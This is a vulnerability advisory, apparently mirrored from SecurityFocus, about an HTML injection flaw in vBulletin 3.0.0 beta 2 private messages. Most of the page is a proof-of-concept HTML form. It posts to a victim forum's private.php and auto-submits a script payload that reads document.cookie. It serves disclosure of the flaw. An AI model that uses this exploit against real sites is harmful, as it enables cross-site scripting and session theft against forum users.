vBulletin 3.0 Private Message HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

vBulletin 3.0 Private Message HTML Injection Vulnerabilit


                                                source: http://www.securityfocus.com/bid/7594/info

A vulnerability has been reported in vBulletin 3.0.0 beta 2. The problem is said to occur due to insufficient sanitization of private messages. As a result, an attacker may be capable of embedding malicious HTML or script code within a private message. This code may be interpreted by a legitimate user when previewing the message.

It should be noted that vBulletin 3.0.0 beta 2 is not a public release and has only been made available to a small portion of selected sites. This issue does not affect any public releases of vBulletin. 

&#60;html&#62;
&#60;body&#62;
 &#60;form action=&#34;http://[victim]/forum/private.php&#34; method=&#34;post&#34;
name=&#34;vbform&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;do&#34; value=&#34;insertpm&#34; /&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;pmid&#34; value=&#34;&#34; /&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;forward&#34; value=&#34;&#34; /&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;receipt&#34; value=&#34;0&#34; /&#62;

  &#60;input type=&#34;text&#34; class=&#34;bginput&#34; name=&#34;title&#34; value=&#34;&#34; size=&#34;40&#34;
tabindex=&#34;2&#34; /&#62;
  &#60;textarea name=&#34;message&#34; rows=&#34;20&#34; cols=&#34;70&#34; wrap=&#34;virtual&#34;
tabindex=&#34;3&#34;&#62;&lt;/textarea&gt;
  &#60;input type=&#34;submit&#34; class=&#34;button&#34; name=&#34;sbutton&#34; value=&#34;Post Message&#34;
accesskey=&#34;s&#34; tabindex=&#34;4&#34; /&#62;
  &#60;input type=&#34;submit&#34; class=&#34;button&#34; value=&#34;Preview Message&#34; accesskey=&#34;p&#34;
name=&#34;preview&#34; onclick=&#34;this.form.dopreview = true; return
true;this.form.submit()&#34; tabindex=&#34;5&#34; &#62;

  &#60;input type=&#34;checkbox&#34; name=&#34;savecopy&#34; value=&#34;1&#34; id=&#34;cb_savecopy&#34;
checked=&#34;checked&#34; /&#62;
  &#60;input type=&#34;checkbox&#34; name=&#34;signature&#34; value=&#34;1&#34; id=&#34;cb_signature&#34; /&#62;
  &#60;input type=&#34;checkbox&#34; name=&#34;parseurl&#34; value=&#34;1&#34; id=&#34;cb_parseurl&#34;
checked=&#34;checked&#34; /&#62;
  &#60;input type=&#34;checkbox&#34; name=&#34;disablesmilies&#34; value=&#34;1&#34;
id=&#34;cb_disablesmilies&#34; /&#62;
 &#60;/form&#62;
&#60;script&#62;
 //Set Values and Submit
 // You can write your own JS codes
 var xss = &#34;\&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;\/script&#62;&#34;;
 document.vbform.title.value=xss;
 document.vbform.preview.click();
&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1